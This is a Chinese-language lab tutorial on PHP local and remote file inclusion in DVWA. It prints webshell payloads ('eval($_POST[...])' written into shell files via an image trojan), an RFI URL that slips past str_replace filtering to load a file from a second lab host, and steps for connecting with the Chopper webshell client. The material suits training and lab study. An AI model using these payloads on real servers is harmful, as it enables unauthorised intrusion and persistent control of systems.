CONTENTS
1 文件包含渗透简述
1.1 原理和危害
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数( include() , require()和include_once(),require_once() )利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项 (选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
- 文件包含( File Inclusion )即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
- 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
- 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
文件包含分为两类:
- 本地文件包含LFI ( Local File Inclusion )当被包含的文件在服务 器本地时,就形成本地文件包含;
- 远程文件包含RFI ( Remote File Inclusion) 当被包含的文件在第3 方服务器时,叫做远程文件包含。
看下图理解:
1.2 实验模拟环境
模拟本地文件包含两台虚拟机就足够了,远程文件包含可以设置三台来模拟。ip地址不一定与下面一致哦。
2 低安全级别渗透
2.1 本地文件包含
(1)首先在肉鸡owasp上查看/etc/php5/cli/php.ini文件,观察下面这两个有没有打开。
(2)打开owasp网址,进入dvwa。找到File inclusion。查看源码。这是一种low安全级。
(3)直接在搜索栏后面添加服务器中对应的文件地址,就可以访问。前提有相应的权限。
2.2 本地文件包含+webshell
(1)本地文件包含获取权限实在太少了,还有限制。我们可以通过制作一句图片木马,上传图片木马文件到服务器,执行文件而生成后门。最后通过中国菜刀工具连接webshell。
我们先制作一句话图片木马,利用edjpgcom这个工具生成。工具链接给大家:
链接:https://pan.baidu.com/s/1f4FmSMiJstAE7U-XT6ejgQ
提取码:ypfs
直接将图片拖到exe中,编辑内容如下:
<?fputs(fopen("shell1.php","w"),'<?php eval($_POST[passwd]);?>')?>
(2)开始上传一句话图片木马
(3) 执行文件生成后门
(4)利用菜刀工具登录到webshell
实现对文件管理、虚拟终端和数据库管理的控制:
2.3 远程文件包含+webshell
这个其实也很简单,我就在远程服务器配置一个脚本文件。例如我在kali配置Apache服务器,在主目录下放一个jpg文件,jpg里放一句话木马,然后通过win7访问远程文件的URL。
(1)在kali上配置Apache,并上传文件到网站上。
<?fputs(fopen("shell2.php","w"),'<?php eval($_POST[passwd2]);?>')?>
(2)肉鸡端访问利用文件包含访问远程服务器后门文件
查看owasp下面目录下是否生成shell2.php
(3)开始利用菜刀工具(这个我就不在赘述拉)
3 中安全级别渗透
3.1 本地文件包含
(1)首先调整安全级别为medium,然后查看后端代码,如下。说明它不允许URL远程连接。但仍然是可以进行本地文件包含的。这个我就不演示拉。跟上面low安全级别一样。
3.2 本地文件包含+webshell
依然先上传带有木马的图片,执行程序,获取服务器的webshell。跟low级别操作一样
然后就可以通过菜刀工具获取webshell拉(我就不演示了)
3.3 远程文件包含+webshell
因为后端代码对http头做了限制,但是仍然可以通过伪造http头,str_replace仍然轻松绕过:如下:
http://192.168.119.167/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.119.166/noface.jpg
下面又可以通过菜刀工具来获取webshell了。
4 高安全级别渗透
这个是很安全的,因为它对包含文件写死了,不允许其它include文件包含进来。这种代码优势就是很安全,劣势也很明显,完全闭关锁国。可以看下面后端代码: